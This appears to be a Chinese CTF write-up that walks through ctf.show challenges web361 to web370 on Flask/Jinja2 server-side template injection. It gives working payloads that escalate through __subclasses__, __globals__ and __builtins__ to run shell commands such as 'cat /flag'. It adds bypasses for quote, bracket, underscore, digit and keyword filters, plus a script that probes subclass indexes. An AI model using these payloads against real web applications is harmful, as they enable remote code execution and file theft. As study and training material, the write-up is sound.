SSTI

SSTI

ssti

前置知识

__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}} current_app 应用上下文,一个全局变量。

request 可以用于获取字符串来绕过
 request.args.x1 get传参
 request.values.x1 所有参数
 request.cookies cookies参数
 request.headers 请求头参数

web361

GET输入?name={{7*7}}
Alt text
说明注入点是?name

如何得到payload?
1、先找基类object,用空字符串""来找

  • 在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。

使用?name={{"".class}},得到空字符串的类<class 'str'>

  • 点号. :python中用来访问变量的属性

  • class:类的一个内置属性,表示实例对象空字符串""的类。

然后使用?name={{"".class.mro}},得到(<class 'tuple'>, <class 'object'>)

  • mro method resolution order,即解析方法调用的顺序;此属性是由类组成的元组,在方法解析期间会基于它来查找基类。

然后再用?name={{().class.mro[-1]}},取得最后一个东西即空字符串的类的基类<class 'object'>

或者使用?name={{"".class.bases}},得到空字符串的类的基类<class 'object'>

  • base 类型对象的直接基类
  • bases 类型对象的全部基类,以元组形式,类型的实例通常没有属性 bases

2、得到基类之后,找到这个基类的子类集合

使用?name={{().class.mro[1].subclasses()}}

  • subclasses() 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。

3、找到其所有子类集合之后找一个我们能够使用的类,要求是这个类的某个方法能够被我们用于执行、找到flag

这里使用其第133个类([0]是第一个类)<class 'os._wrap_close'>

使用?name={{"".class.mro[-1].subclasses()[132]}},得到<class 'os._wrap_close'>

  • <class 'os._wrap_close'> 这个类有个popen方法可以执行系统命令

4、实例化我们找到的类对象

使用?name={{"".class.mro[-1].subclasses()[132].init}},实例化这个类

  • init 初始化类,返回的类型是function

5、找到这个实例化对象的所有方法

使用?name={{"".class.mro[-1].subclasses()[132].init.globals}}

  • globals 使用方式是 function.globals获取function所处空间下可使用的module、方法以及所有变量。

6、根据方法寻找flag

?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

  • popen()一个方法,用于执行命令
  • read() 从文件当前位置起读取size个字节,若无参数size,则表示读取至文件结束为止,它范围为字符串对象

用脚本寻找os._wrap_close类的序号:

import requests
from tqdm import tqdm

for i in tqdm(range(233)):
    url = 'http://fc27e51f-8e3f-4c70-98eb-d6a92558455e.challenge.ctf.show/?name={{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'
    r = requests.get(url=url).text
    if('os._wrap_close' in r):
        print(i)

web362

过滤了一些字符:2、3
可以用全角数字代替正常数字,下面是转换脚本:

def half2full(half):  
    full = ''  
    for ch in half:  
        if ord(ch) in range(33, 127):  
            ch = chr(ord(ch) + 0xfee0)  
        elif ord(ch) == 32:  
            ch = chr(0x3000)  
        else:  
            pass  
        full += ch  
    return full  
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)

尝试将上题的payload中的数字换成全角数字,成功
payload:
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

GET:?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

或者
?name={{url_for.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")}}

得到__builtin__的另一个方法
?name={{x.__init__.__globals__['__builtins__']}}

//这里的x任意26个英文字母的任意组合都可以,同样可以得到__builtins__然后用eval就可以了。

web363

过滤了单双引号,可以用request来绕过

payload:

GET:?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()

相当于
?name={{x.__init__.__globals__['__builtins__'].eval('__import__('os').popen('cat /flag').read()')}}
把在引号里面的东西逃逸出去

web364

get、post都不行,尝试一下cookie
过滤了引号和args

GET:?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

GET:?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie:a=os;b=popen;c=cat /flag

web365

过滤了引号,还有中括号,但request.cookies仍然可以用

GET:?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag

web366

在之前的基础上又ban了下划线_,如果拿request绕过获取属性的话,用lipsum.(request.values.b)是会500的;中括号被ban了,getattribute也用不了的话,就用falsk自带的过滤器attr:

GET:?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

Cookie:a=__globals__;b=cat /flag

attr用于获取变量

""|attr("__class__")
相当于
"".__class__

常见于点号(.)被过滤,或者点号(.)和中括号([])都被过滤的情况。

web367

过滤了单双引号、args、中括号[]、下划线、os
payload:
?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag

web368

过滤单双引号、args、中括号[]、下划线、os、{{

只过滤了两个左括号,没有过滤 {%
payload:?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag

web369

经测试ban掉了request
{%%}执行代码、拼接字符赋值给变量
payload:

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

解释:

{% set po=dict(po=a,p=a)|join%}  #通过dict()和join构造pop

{% set a=(()|select|string|list)|attr(po)(24)%} #a等价于下划线

{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}  #通过拼接得到__init__
#glo、geti、built同理
#再往后,调用chr,构造/flag,读取文件

web370

又过滤了数字,可以用全角数字
求全角数字脚本

def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
while 1:
    t = ''
    s = input("输入想要转换的数字字符串:")
    for i in s:
        t += half2full(i)
    print(t)

paylaod:

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注